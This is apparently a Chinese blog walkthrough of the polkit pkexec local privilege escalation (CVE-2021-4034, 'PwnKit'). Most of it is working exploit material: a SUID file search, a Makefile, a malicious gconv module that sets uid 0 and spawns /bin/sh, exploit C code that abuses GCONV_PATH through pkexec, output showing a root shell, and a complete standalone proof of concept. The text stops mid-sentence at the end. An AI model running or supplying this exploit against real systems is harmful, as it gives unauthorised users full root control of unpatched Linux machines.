参考文章:
https://cloud.tencent.com/developer/article/2625314
https://www.anquanke.com/post/id/267774
漏洞描述
polkit 的 pkexec 程序中存在一个本地权限提升漏洞。当前版本的 pkexec 无法正确处理调用参数计数,并最终尝试将环境变量作为命令执行。攻击者可以通过控制环境变量来利用这一点,从而诱导 pkexec 执行任意代码。利用成功后,会导致本地特权升级,非特权用户获得管理员权限
漏洞复现
先查看SUID位文件
1
| find / -perm -u=s -type f 2>/dev/null
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30
| /snap/core18/1705/bin/mount /snap/core18/1705/bin/ping /snap/core18/1705/bin/su /snap/core18/1705/bin/umount /snap/core18/1705/usr/bin/chfn /snap/core18/1705/usr/bin/chsh /snap/core18/1705/usr/bin/gpasswd /snap/core18/1705/usr/bin/newgrp /snap/core18/1705/usr/bin/passwd /snap/core18/1705/usr/bin/sudo /snap/core18/1705/usr/lib/dbus-1.0/dbus-daemon-launch-helper /snap/core18/1705/usr/lib/openssh/ssh-keysign /snap/snapd/7264/usr/lib/snapd/snap-confine /usr/lib/openssh/ssh-keysign /usr/lib/dbus-1.0/dbus-daemon-launch-helper /usr/lib/snapd/snap-confine /usr/lib/eject/dmcrypt-get-device /usr/lib/policykit-1/polkit-agent-helper-1 /usr/bin/pkexec /usr/bin/gpasswd /usr/bin/newgrp /usr/bin/at /usr/bin/chsh /usr/bin/su /usr/bin/chfn /usr/bin/sudo /usr/bin/umount /usr/bin/passwd /usr/bin/mount /usr/bin/fusermount
|
看到有/usr/bin/pkexec 和 /usr/lib/policykit-1/polkit-agent-helper-1,我们尝试看一下pkexec 版本
很明显这个版本存在CVE
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71
|
all: gcc -shared -o evil.so -fPIC evil-so.c gcc exploit.c -o exploit
clean: rm -r ./GCONV_PATH=. && rm -r ./evildir && rm exploit && rm evil.so
void gconv() {}
void gconv_init() { setuid(0); setgid(0); setgroups(0);
execve("/bin/sh", NULL, NULL); }
int main() { char *envp[] = { DIR, "PATH=GCONV_PATH=.", "SHELL=ryaagard", "CHARSET=ryaagard", NULL }; char *argv[] = { NULL };
system("mkdir GCONV_PATH=."); system("touch GCONV_PATH=./" DIR " && chmod 777 GCONV_PATH=./" DIR); system("mkdir " DIR); system("echo 'module\tINTERNAL\t\t\tryaagard//\t\t\t" EVILSO "\t\t\t2' > " DIR "/gconv-modules"); system("cp " EVILSO ".so " DIR);
execve(BIN, argv, envp);
return 0; }
|
然后我们直接提权
1 2 3 4 5 6 7
| ubuntu@ubuntu:~$ gcc -shared -o evil.so -fPIC evil-so.c ubuntu@ubuntu:~$ gcc exploit.c -o exploit ubuntu@ubuntu:~$ ./exploit
root
uid=0(root) gid=0(root) groups=0(root)
|
最终POC
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27
| #include <stdio.h> #include <stdlib.h> #include <unistd.h>
char *shell = "#include <stdio.h>\n" "#include <stdlib.h>\n" "#include <unistd.h>\n\n" "void gconv() {}\n" "void gconv_init() {\n" " setuid(0); setgid(0);\n" " seteuid(0); setegid(0);\n" " system(\"export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin; rm -rf 'GCONV_PATH=.' 'pwnkit'; /bin/sh\");\n" " exit(0);\n" "}"; int main(int argc, char *argv[]) { FILE *fp; system("mkdir -p 'GCONV_PATH=.'; touch 'GCONV_PATH=./pwnkit'; chmod a+x 'GCONV_PATH=./pwnkit'"); system("mkdir -p pwnkit; echo 'module UTF-8// PWNKIT// pwnkit 2' > pwnkit/gconv-modules"); fp = fopen("pwnkit/pwnkit.c", "w"); fprintf(fp, "%s", shell); fclose(fp); system("gcc pwnkit/pwnkit.c -o pwnkit/pwnkit.so -shared -fPIC"); char *env[] = { "pwnkit", "PATH=GCONV_PATH=.", "CHARSET=PWNKIT", "SHELL=pwnkit", NULL }; execve("/usr/bin/pkexec", (char*[]){NULL}, env); }
|
或者直接